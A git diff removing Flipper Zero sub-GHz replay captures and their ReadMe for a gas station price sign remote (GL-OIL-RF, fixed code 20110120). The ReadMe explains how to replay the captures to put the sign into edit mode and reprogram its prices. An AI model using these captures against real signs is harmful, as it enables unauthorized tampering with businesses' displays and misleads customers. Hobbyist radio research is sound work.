333 -94 375 -94 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -350 139 -336 125 -3722 99 -392 105 -334 127 -356 351 -138 303 -124 343 -126 337 -128 339 -128 125 -376 325 -140 335 -126 315 -128 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 125 -3724 101 -392 105 -334 125 -354 351 -104 337 -122 343 -126 369 -96 339 -128 125 -370 327 -142 335 -126 349 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -352 137 -336 125 -3724 101 -392 105 -334 125 -354 351 -138 303 -124 343 -126 337 -130 337 -128 127 -344 355 -140 333 -128 315 -128 121 -372 101 -368 93 -384 351 -104 139 -362 105 -366 97 -360 91 -372 349 -134 329 -124 121 -352 137 -334 127 -3726 99 -392 105 -334 127 -366 331 -132 329 -124 359 -106 357 -108 337 -124 143 -342 347 -106 341 -130 357 -94 -RAW_Data: 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 127 -360 93 -370 351 -132 329 -124 121 -350 139 -334 127 -3722 99 -392 107 -334 127 -354 349 -140 301 -126 343 -126 339 -128 337 -128 127 -376 323 -140 333 -128 317 -126 121 -372 101 -368 93 -384 353 -102 141 -362 103 -368 95 -360 93 -370 351 -132 331 -124 121 -350 139 -334 125 -3726 101 -392 105 -334 127 -366 329 -134 329 -122 337 -128 337 -128 339 -126 125 -348 353 -138 333 -94 345 -126 121 -372 103 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 121 -352 139 -334 127 -3730 99 -358 105 -370 125 -350 349 -140 301 -124 343 -126 337 -130 337 -128 127 -344 355 -140 335 -126 315 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -366 97 -360 93 -372 349 -132 329 -124 121 -352 137 -334 127 -3716 97 -372 125 -346 125 -352 355 -104 349 -140 333 -124 359 -104 359 -106 105 -398 319 -106 351 -142 331 -124 109 -342 127 -362 123 -360 327 -122 121 -352 139 -336 125 -356 125 -340 349 -132 331 -124 121 -352 137 -336 127 -3722 99 -392 105 -336 125 -354 349 -140 303 -124 343 -128 337 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -374 101 -366 93 -384 353 -102 141 -362 103 -368 97 -358 95 -370 351 -132 329 -124 91 -382 137 -334 127 -3716 97 -370 127 -346 123 -354 353 -104 351 -140 333 -124 359 -104 359 -106 105 -398 321 -106 351 -140 333 -122 109 -342 127 -360 125 -360 325 -124 121 -352 125 -344 131 -368 91 -378 353 -102 335 -124 123 -356 139 -334 127 -3726 101 -356 107 -368 125 -364 329 -134 329 -124 337 -128 337 -128 339 -126 125 -350 351 -140 301 -124 345 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -370 351 -132 331 -122 121 -352 139 -334 127 -3720 99 -392 107 -334 125 -356 349 -140 303 -124 345 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -374 101 -368 91 -386 317 -170 105 -362 105 -368 95 -360 93 -372 349 -132 331 -124 123 -352 137 -334 127 -3722 99 -392 105 -334 127 -354 351 -104 335 -124 343 -126 337 -128 339 -128 125 -372 327 -140 335 -128 317 -126 121 -372 101 -368 93 -386 351 -102 141 -362 105 -336 129 -358 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3730 99 -344 123 -360 139 -334 365 -108 339 -128 321 -126 337 -160 307 -160 95 -372 327 -140 333 -128 319 -126 121 -374 101 -368 93 -384 319 -170 105 -362 103 -368 -RAW_Data: 97 -360 93 -372 349 -132 331 -124 91 -382 101 -370 127 -3718 99 -392 105 -334 129 -356 351 -102 337 -124 343 -126 337 -130 337 -128 127 -372 327 -140 335 -126 317 -126 121 -372 101 -368 93 -384 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -352 137 -336 125 -3724 101 -356 141 -336 125 -354 349 -140 301 -124 345 -126 337 -130 337 -128 127 -344 355 -140 333 -126 317 -126 121 -374 101 -366 93 -386 319 -134 141 -360 105 -368 97 -358 95 -370 351 -132 329 -124 91 -382 103 -368 127 -3724 99 -394 105 -332 127 -354 351 -138 301 -126 343 -126 339 -128 337 -128 127 -346 355 -140 333 -126 317 -126 121 -372 103 -366 93 -384 319 -134 105 -398 103 -368 97 -360 93 -372 349 -132 331 -124 91 -382 103 -368 127 -3724 99 -392 105 -334 125 -356 349 -104 337 -124 343 -126 337 -130 337 -128 127 -372 325 -140 335 -126 317 -126 121 -372 103 -368 93 -384 351 -102 141 -362 105 -336 129 -358 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3722 99 -392 107 -334 127 -354 349 -138 303 -124 343 -126 337 -130 337 -128 127 -372 325 -140 335 -128 317 -126 121 -372 101 -368 93 -386 351 -102 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3726 101 -356 141 -334 127 -364 329 -134 329 -122 337 -128 337 -130 337 -126 127 -346 353 -140 333 -94 375 -94 121 -372 101 -370 123 -352 349 -104 141 -362 105 -338 129 -358 125 -338 349 -134 331 -122 121 -352 137 -336 127 -3728 99 -356 143 -334 125 -352 347 -140 301 -124 343 -128 337 -128 339 -128 125 -376 325 -140 333 -126 317 -126 123 -372 101 -368 91 -384 351 -102 141 -364 103 -338 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3718 95 -372 127 -346 123 -352 353 -106 351 -140 331 -94 391 -104 357 -108 105 -362 357 -106 351 -138 333 -92 139 -342 129 -358 125 -360 327 -122 121 -352 139 -336 125 -356 125 -340 349 -132 331 -124 119 -354 139 -334 127 -3724 101 -392 105 -334 127 -366 329 -134 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 375 -94 123 -370 103 -366 125 -352 349 -104 141 -364 105 -336 129 -358 125 -340 349 -132 331 -122 121 -350 139 -336 125 -3724 99 -394 105 -334 125 -356 349 -140 301 -126 343 -126 337 -130 337 -128 125 -344 357 -138 335 -126 319 -126 121 -372 101 -368 93 -384 349 -104 141 -362 103 -368 97 -360 93 -370 351 -132 331 -122 123 -352 137 -336 -RAW_Data: 125 -3720 101 -392 105 -334 127 -356 349 -104 337 -124 373 -96 369 -96 369 -96 127 -370 327 -142 335 -128 349 -94 121 -372 101 -370 123 -352 351 -102 143 -362 105 -336 127 -360 125 -338 349 -132 331 -124 121 -352 123 -344 133 -3728 99 -358 105 -372 99 -366 349 -140 337 -94 347 -126 337 -128 337 -130 125 -374 327 -138 335 -126 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -358 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3722 101 -392 105 -336 125 -354 351 -102 337 -124 373 -96 369 -96 371 -96 125 -370 327 -142 335 -128 349 -94 121 -372 103 -368 125 -350 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 125 -3720 99 -392 105 -334 127 -356 349 -140 303 -124 345 -126 337 -130 337 -128 127 -372 325 -140 335 -126 319 -124 121 -374 101 -368 93 -384 351 -102 141 -362 105 -370 95 -360 93 -370 351 -132 331 -124 121 -350 139 -334 125 -3726 101 -356 141 -334 125 -366 329 -134 329 -124 337 -128 337 -128 339 -126 127 -348 351 -140 333 -94 375 -94 121 -372 101 -368 125 -350 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 331 -124 121 -350 139 -336 127 -3716 99 -392 105 -336 127 -358 349 -140 303 -124 345 -126 337 -130 337 -128 125 -344 357 -138 335 -126 319 -126 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3726 101 -356 141 -334 125 -366 331 -132 329 -124 337 -126 339 -128 337 -128 125 -348 353 -138 333 -94 375 -94 123 -372 101 -368 123 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 127 -3716 97 -370 127 -346 123 -352 355 -106 351 -140 331 -124 359 -104 357 -108 105 -396 319 -140 317 -140 333 -124 109 -374 97 -360 93 -390 329 -122 123 -352 139 -334 127 -356 93 -372 349 -132 331 -122 121 -352 137 -334 127 -3732 99 -356 107 -370 93 -394 329 -134 329 -122 361 -104 359 -108 337 -124 143 -340 349 -106 339 -132 357 -94 121 -372 139 -332 125 -354 349 -104 141 -362 105 -338 129 -360 93 -370 349 -132 331 -124 119 -352 139 -336 125 -3728 101 -356 141 -334 93 -396 329 -134 329 -124 337 -128 337 -130 337 -126 127 -348 351 -104 369 -94 375 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 127 -360 123 -340 349 -132 331 -124 121 -352 137 -336 127 -3722 101 -392 105 -336 125 -354 349 -140 301 -126 -RAW_Data: 341 -128 337 -128 339 -128 125 -374 325 -140 333 -128 317 -126 121 -374 101 -368 91 -386 349 -104 141 -362 105 -368 97 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3724 101 -392 105 -336 125 -366 331 -132 329 -124 361 -104 359 -106 337 -124 143 -342 349 -106 341 -130 357 -92 121 -374 137 -332 125 -354 351 -104 141 -362 105 -336 129 -360 125 -338 349 -132 331 -124 121 -352 137 -336 125 -3724 99 -392 105 -334 127 -356 349 -140 301 -124 343 -126 339 -128 337 -128 127 -372 325 -140 335 -126 319 -126 121 -372 101 -368 93 -386 351 -102 141 -364 103 -338 127 -358 93 -372 349 -132 331 -124 121 -350 139 -336 125 -3726 101 -356 141 -336 125 -364 331 -132 331 -124 337 -128 337 -130 337 -126 95 -382 351 -104 335 -126 343 -126 123 -372 101 -366 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 139 -334 127 -3722 99 -392 107 -334 127 -354 351 -102 337 -124 345 -126 337 -128 339 -128 125 -374 325 -140 333 -128 317 -126 121 -372 101 -368 93 -386 351 -102 141 -364 103 -338 127 -360 93 -370 351 -132 331 -124 119 -352 137 -336 125 -3718 97 -372 125 -346 125 -352 355 -104 351 -140 331 -124 361 -104 357 -108 105 -396 319 -106 351 -142 331 -124 109 -374 97 -360 93 -390 327 -124 121 -352 125 -344 131 -368 91 -378 351 -104 335 -122 123 -358 139 -336 125 -3718 99 -392 105 -336 127 -356 349 -140 301 -124 345 -126 337 -128 339 -128 125 -374 325 -140 333 -128 319 -124 121 -374 101 -368 93 -384 351 -104 141 -362 103 -338 127 -360 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3722 99 -392 105 -336 125 -356 349 -140 301 -124 345 -126 337 -128 339 -128 127 -374 325 -140 333 -128 317 -126 121 -372 103 -366 93 -384 351 -102 141 -362 105 -338 129 -358 93 -370 349 -132 331 -124 121 -354 137 -334 127 -3724 99 -392 105 -334 127 -368 331 -134 327 -124 359 -106 357 -108 337 -126 143 -340 349 -106 339 -130 357 -94 121 -374 137 -332 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 331 -124 121 -350 139 -336 127 -3714 97 -372 127 -344 125 -354 355 -106 351 -140 331 -124 361 -102 359 -106 105 -398 319 -140 315 -140 333 -124 107 -376 97 -360 93 -390 329 -122 123 -352 139 -334 127 -356 93 -372 349 -132 329 -124 121 -352 139 -334 127 -3728 101 -356 107 -370 93 -382 349 -104 335 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -128 -RAW_Data: 349 -94 121 -372 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 125 -3720 99 -392 105 -334 127 -356 351 -138 303 -126 343 -128 337 -128 337 -128 127 -374 327 -140 333 -126 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -338 129 -358 93 -372 349 -132 329 -124 121 -352 137 -334 127 -3720 97 -370 95 -378 93 -382 355 -104 349 -140 333 -122 361 -104 357 -108 105 -398 319 -106 353 -140 331 -124 109 -342 127 -362 123 -360 327 -122 121 -352 139 -336 125 -356 125 -340 349 -134 331 -124 119 -352 139 -334 127 -3724 99 -392 105 -336 125 -354 351 -104 337 -124 341 -126 371 -96 337 -128 127 -370 327 -140 337 -126 349 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -338 129 -360 91 -372 349 -132 331 -124 119 -352 139 -334 127 -3722 99 -392 105 -334 127 -356 349 -138 303 -126 343 -128 337 -128 337 -128 127 -374 327 -138 335 -126 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -360 93 -370 351 -132 329 -124 121 -352 137 -334 127 -3718 97 -370 127 -346 123 -354 353 -106 349 -140 333 -92 391 -104 359 -106 107 -360 357 -106 351 -140 333 -92 139 -342 127 -360 125 -360 327 -122 121 -352 125 -342 133 -366 93 -378 351 -102 337 -124 123 -356 139 -336 127 -3716 95 -372 127 -346 123 -352 355 -106 349 -140 333 -92 391 -104 359 -106 105 -362 357 -106 351 -140 333 -92 139 -342 127 -360 125 -360 327 -122 121 -352 125 -344 133 -366 91 -380 349 -104 335 -124 121 -360 139 -336 125 -3724 99 -392 105 -334 127 -354 349 -140 301 -126 343 -126 337 -128 339 -128 125 -376 325 -140 333 -126 317 -126 123 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -360 93 -370 351 -132 331 -124 121 -352 139 -334 127 -3720 101 -392 105 -334 127 -356 349 -104 337 -122 345 -126 369 -96 369 -98 125 -372 325 -142 335 -128 349 -94 121 -372 101 -370 123 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -134 331 -122 121 -350 139 -336 125 -3720 101 -392 105 -336 127 -356 349 -138 303 -124 345 -126 337 -130 337 -128 125 -376 325 -140 333 -128 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -352 139 -334 127 -3726 99 -356 143 -334 127 -366 329 -134 327 -124 337 -128 337 -128 337 -128 125 -348 351 -140 333 -94 345 -126 121 -372 101 -368 125 -350 351 -104 141 -362 -RAW_Data: 105 -336 129 -358 125 -338 349 -132 331 -124 121 -352 125 -344 131 -3726 99 -372 95 -372 125 -346 351 -140 325 -142 303 -124 351 -140 359 -108 105 -364 349 -106 359 -108 335 -126 141 -340 101 -366 123 -374 319 -134 103 -396 105 -336 127 -356 93 -372 349 -132 329 -124 121 -352 137 -334 127 -3718 97 -370 127 -346 123 -354 353 -106 349 -140 331 -124 361 -104 357 -108 105 -362 357 -106 351 -140 333 -92 139 -342 127 -360 125 -360 327 -122 121 -352 125 -344 131 -368 91 -380 349 -104 335 -124 123 -358 139 -334 125 -3728 101 -356 141 -334 125 -364 331 -134 329 -124 337 -128 337 -128 339 -126 125 -350 351 -104 369 -92 375 -96 121 -372 101 -368 123 -352 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3718 101 -392 103 -336 129 -356 351 -140 301 -124 345 -126 337 -130 337 -128 127 -374 325 -140 335 -126 317 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -358 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -356 349 -104 337 -122 343 -126 369 -98 369 -96 125 -372 327 -140 335 -128 349 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -338 129 -358 125 -340 349 -132 331 -124 119 -352 139 -336 127 -3722 99 -392 105 -336 125 -356 349 -140 303 -124 343 -126 339 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -374 101 -366 93 -384 353 -102 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3720 99 -392 105 -336 127 -356 349 -104 367 -94 343 -126 369 -98 369 -96 125 -372 327 -140 335 -128 349 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 125 -3724 101 -392 105 -334 125 -368 331 -134 329 -124 359 -104 359 -108 337 -124 143 -340 349 -106 339 -132 359 -92 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 119 -354 137 -336 127 -3716 99 -392 105 -336 127 -358 349 -140 303 -124 345 -126 337 -130 337 -128 127 -374 325 -140 335 -126 317 -126 121 -374 101 -368 91 -386 351 -102 141 -362 103 -368 97 -360 93 -370 351 -132 331 -122 123 -352 137 -336 125 -3720 97 -372 93 -380 91 -384 353 -104 349 -140 333 -124 359 -104 359 -106 107 -360 357 -106 351 -140 333 -92 139 -342 129 -360 123 -360 327 -124 121 -352 125 -342 133 -366 91 -380 351 -104 335 -122 123 -358 -RAW_Data: 139 -334 127 -3722 101 -392 105 -334 127 -354 351 -138 303 -124 343 -126 339 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -374 101 -366 93 -384 353 -102 141 -362 105 -336 129 -358 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3726 99 -392 105 -336 125 -354 349 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -142 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -362 105 -338 127 -360 123 -340 351 -132 331 -124 119 -352 139 -334 127 -3726 99 -392 107 -334 125 -368 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 351 -140 333 -92 347 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 123 -340 349 -132 333 -122 121 -352 139 -334 127 -3726 99 -394 105 -334 127 -366 331 -132 329 -122 337 -128 diff --git a/assets/resources/subghz/Gas_Sign/ReadMe.md b/assets/resources/subghz/Gas_Sign/ReadMe.md deleted file mode 100644 index 589c43fed..000000000 --- a/assets/resources/subghz/Gas_Sign/ReadMe.md +++ /dev/null @@ -1,60 +0,0 @@ -# Gas Station Price Sign - -## Captures by [0day](https://github.com/0dayCTF) (from [Discord](https://discord.com/channels/740930220399525928/954422680969445377/1001983366205284452)) - -Captured remote is [GL-OIL-RF](https://olympianled.com/product/gas-price-changer-rf-remote-control-gl-oil-rf/). The [PDF manual](https://github.com/UberGuidoZ/Flipper/blob/main/Sub-GHz/Gas_Sign/Manual_GL-OIL-RF.pdf) is also available and contains programming instructions. - ----------- - -Use the `Edit_mode.sub` to enable editing, then you can use the other SUB files for programming. See the manual above.
-If you're runing an unlocked or custom firmware with UniRF, then you can [use this map](https://github.com/UberGuidoZ/Flipper/blob/main/unirf/Gas_Sign_Edit.txt) to easily edit on the fly. - ----------- - -More work on this to be done! These captures are locked to the 20110120 code but can be [physically changed](https://olympianled.com/changing-remote-code/): - -``` -Our remote code is 20110120. As you can see from the pictures below: - -L1 = 2 - -No solder = 0 - -1H = 1 - -The receiver inside of your sign needs to match the remote code, so you’ll have to look at the receiver -inside of the sign that is attached to the GL_GMAN board. Here is a picture of the receiver for reference, -you can see it’s also matching our 20110120 code. -``` - -More info from hahalolha (#5124) via Discord (thanks for the DM!): - -"I believe I have found the [OEM manufacturer](http://m.glareled.com/). (This is the mobile site link as it appears their desktop site is offline, at least for me). I got this link from support chat on the site provided on your Github. Their Gas Station section [is here](http://m.glareled.com/h-pr.html?mid=527&groupId=69) and the page with the most info relevant to us [is here](http://m.glareled.com/h-pd-196.html#mid=3&groupId=69&desc=false). [This is also an interesting image](http://16958556.s21i.faiusr.com/4/ABUIABAEGAAgivuBlQYo5K-3dzCXBzjMAw!900x900.png.webp) I've found so far. I was originally trying to find which frequencies they use worldwide so I could hopefully create different versions for models around the world." - -More info from alejandro12120 (#8100): - -"Here is the [OEM manufacturer desktop site](https://www.glare-led.com/). Also here is the relevant [website](https://www.glare-led.com/h-col-132.html#project-case), those pictures are some examples where the gas sign is installed." - -Receiver - -![Remote_Receiver](https://user-images.githubusercontent.com/57457139/182993141-0f2a725b-036a-4b15-b38b-15c7e4177735.png) - -Remote - -![Remote_Back](https://user-images.githubusercontent.com/57457139/182993143-c4e261c7-c986-4a11-b17d-ed394d3953ba.png) - ------ - -I've had so many asking for me to add this.
-![Flipper_Blush](https://user-images.githubusercontent.com/57457139/183561666-4424a3cc-679b-4016-a368-24f7e7ad0a88.jpg) ![Flipper_Love](https://user-images.githubusercontent.com/57457139/183561692-381d37bd-264f-4c88-8877-e58d60d9be6e.jpg) - -**BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`
-**BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`
-**ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`
-**LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2` - -So, here it is. All donations of *any* size are humbly appreciated.
-![Flipper_Clap](https://user-images.githubusercontent.com/57457139/183561789-2e853ede-8ef7-41e8-a67c-716225177e5d.jpg) ![Flipper_OMG](https://user-images.githubusercontent.com/57457139/183561787-e21bdc1e-b316-4e67-b327-5129503d0313.jpg) - -Donations will be used for hardware (and maybe caffeine) to further testing!
-![UberGuidoZ](https://cdn.discordapp.com/emojis/1000632669622767686.gif) diff --git a/assets/resources/subghz/Gas_Sign/Right_gas.sub b/assets/resources/subghz/Gas_Sign/Right_gas.sub deleted file mode 100644 index a78eaa35d..000000000 --- a/assets/resources/subghz/Gas_Sign/Right_gas.sub +++ /dev/null @@ -1,46 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 337 -426 363 -888242 167 -356 105 -368 93 -380 327 -126 353 -126 337 -128 339 -128 337 -128 93 -358 347 -132 333 -122 341 -128 121 -370 101 -368 91 -382 317 -134 141 -362 105 -336 127 -356 95 -370 349 -130 329 -124 337 -128 337 -130 123 -3698 97 -374 129 -338 127 -342 351 -140 325 -142 335 -96 345 -126 337 -128 125 -368 341 -140 305 -132 359 -94 121 -374 101 -368 93 -384 351 -102 141 -364 103 -336 129 -372 103 -360 347 -108 361 -106 339 -130 323 -124 123 -3710 131 -360 103 -358 105 -370 327 -142 335 -128 327 -140 361 -106 343 -102 137 -352 353 -94 345 -138 337 -126 97 -376 105 -370 91 -396 331 -132 101 -358 107 -370 93 -394 101 -362 347 -106 363 -106 339 -130 355 -92 121 -3706 129 -342 129 -338 129 -340 347 -124 339 -128 369 -96 337 -128 339 -124 125 -354 347 -132 333 -122 339 -126 121 -372 101 -366 91 -382 351 -102 143 -362 105 -334 129 -356 93 -372 349 -132 329 -124 335 -128 337 -128 125 -3698 131 -360 103 -376 105 -334 353 -140 333 -126 347 -94 369 -96 371 -96 125 -370 329 -140 337 -126 351 -94 123 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 337 -128 337 -128 125 -3704 97 -392 103 -342 137 -334 353 -138 335 -126 361 -106 359 -106 345 -102 135 -356 357 -106 347 -102 365 -92 121 -374 103 -368 125 -366 331 -132 103 -358 105 -370 93 -394 103 -360 349 -106 361 -106 339 -130 355 -94 121 -3712 133 -358 101 -358 105 -370 363 -106 337 -128 349 -94 369 -96 371 -96 125 -370 361 -108 337 -128 351 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -372 105 -360 349 -106 361 -108 339 -128 355 -92 123 -3710 131 -358 103 -358 107 -370 329 -140 337 -126 351 -94 369 -96 369 -98 125 -368 363 -108 335 -128 351 -94 121 -374 101 -368 93 -382 351 -104 141 -362 105 -336 127 -374 103 -360 349 -108 361 -106 339 -130 355 -94 121 -3714 99 -392 103 -358 107 -368 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 347 -140 329 -94 139 -342 127 -360 93 -392 327 -122 121 -350 139 -334 127 -356 93 -372 347 -132 331 -124 335 -128 337 -130 123 -3698 133 -358 103 -378 105 -334 353 -140 335 -126 347 -94 369 -96 371 -96 125 -370 361 -108 337 -128 351 -94 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -372 349 -130 331 -124 337 -128 337 -128 125 -3700 129 -340 129 -340 127 -342 343 -126 -RAW_Data: 337 -130 337 -128 337 -126 365 -106 141 -362 353 -106 359 -108 333 -124 109 -374 97 -362 123 -360 327 -124 119 -352 139 -334 127 -356 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 99 -392 103 -342 137 -334 351 -140 333 -94 393 -104 361 -106 345 -102 137 -356 353 -92 365 -106 337 -124 123 -358 139 -334 125 -356 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 337 -128 337 -130 123 -3700 133 -358 103 -378 103 -336 353 -140 333 -126 347 -94 369 -98 369 -96 127 -368 363 -108 335 -128 351 -94 121 -372 103 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 99 -374 95 -372 127 -344 345 -126 337 -130 337 -126 337 -126 357 -106 141 -346 345 -126 337 -128 339 -128 93 -368 125 -368 103 -362 347 -108 143 -342 91 -390 103 -356 107 -370 329 -140 337 -128 349 -94 391 -104 103 -3724 103 -342 137 -334 123 -354 359 -92 377 -94 369 -96 371 -96 369 -126 93 -368 359 -96 359 -124 337 -128 93 -368 131 -364 93 -378 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3702 133 -358 103 -378 103 -334 353 -140 335 -126 363 -106 359 -106 343 -104 135 -356 357 -106 345 -104 363 -94 121 -374 137 -334 125 -366 331 -132 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 339 -130 355 -94 121 -3718 99 -372 127 -340 129 -340 347 -124 357 -106 357 -144 303 -124 387 -104 107 -360 331 -128 353 -126 359 -104 103 -384 103 -360 105 -370 347 -106 141 -362 103 -340 135 -334 123 -356 327 -122 385 -104 361 -106 339 -130 95 -3724 99 -354 125 -392 101 -356 357 -106 345 -102 361 -94 389 -104 359 -108 105 -360 357 -106 351 -140 333 -122 109 -342 129 -360 125 -358 327 -122 145 -344 99 -362 125 -358 103 -394 319 -142 317 -142 333 -124 359 -104 103 -3704 139 -334 127 -356 123 -340 349 -132 331 -124 337 -128 337 -128 339 -128 125 -342 357 -140 335 -126 347 -94 123 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 337 -128 337 -128 125 -3700 131 -360 103 -378 105 -336 353 -140 333 -128 347 -94 369 -96 371 -96 125 -370 329 -142 335 -128 349 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3704 133 -358 103 -378 103 -336 353 -140 333 -126 347 -94 369 -96 369 -98 125 -368 363 -108 -RAW_Data: 337 -128 351 -94 121 -372 103 -366 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 103 -342 137 -336 351 -140 335 -126 361 -106 361 -104 345 -102 137 -356 353 -92 365 -106 337 -126 123 -358 139 -334 125 -354 353 -104 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 337 -128 337 -130 123 -3708 97 -374 97 -372 127 -342 345 -126 337 -130 337 -128 335 -126 361 -106 141 -346 345 -126 337 -128 337 -130 93 -366 125 -370 103 -360 349 -106 143 -342 93 -390 101 -358 107 -370 363 -108 335 -128 351 -94 391 -106 103 -3724 101 -342 137 -336 123 -356 357 -92 383 -106 359 -108 337 -130 355 -94 121 -372 353 -104 349 -140 333 -124 109 -374 95 -362 123 -340 349 -132 103 -396 105 -334 127 -354 93 -372 349 -132 329 -124 335 -128 337 -130 123 -3700 131 -358 103 -380 105 -336 353 -140 335 -126 347 -94 369 -96 371 -96 125 -370 363 -108 337 -128 349 -94 121 -374 101 -368 125 -350 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 339 -128 125 -3704 131 -358 103 -378 103 -336 353 -138 335 -126 363 -106 361 -106 343 -102 137 -356 353 -92 365 -106 337 -124 123 -360 139 -334 125 -356 349 -104 141 -364 103 -338 127 -358 125 -340 349 -132 329 -124 339 -126 337 -128 125 -3702 131 -360 101 -380 105 -336 353 -140 333 -128 347 -94 369 -96 371 -96 125 -370 361 -108 337 -128 351 -94 121 -372 101 -370 91 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 339 -128 125 -3698 131 -360 101 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -370 363 -108 335 -128 351 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 339 -128 337 -128 125 -3704 131 -358 103 -378 105 -336 351 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 339 -126 337 -130 123 -3704 133 -358 103 -378 103 -336 353 -140 335 -126 363 -104 361 -106 343 -102 137 -356 357 -106 345 -104 365 -92 121 -374 137 -334 125 -368 331 -132 103 -358 107 -370 93 -394 103 -360 349 -106 361 -108 337 -132 355 -94 121 -3716 131 -358 101 -358 107 -370 363 -108 337 -128 351 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -372 103 -368 93 -382 351 -104 -RAW_Data: 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3702 131 -360 101 -378 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -372 103 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 331 -124 337 -128 337 -128 123 -3698 131 -340 129 -340 127 -370 347 -94 369 -128 337 -128 337 -126 343 -124 91 -370 349 -132 329 -122 339 -126 123 -370 101 -366 93 -380 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 361 -108 337 -132 355 -94 121 -3710 133 -352 103 -394 105 -334 369 -108 337 -128 353 -94 369 -96 371 -96 125 -368 365 -108 337 -126 353 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 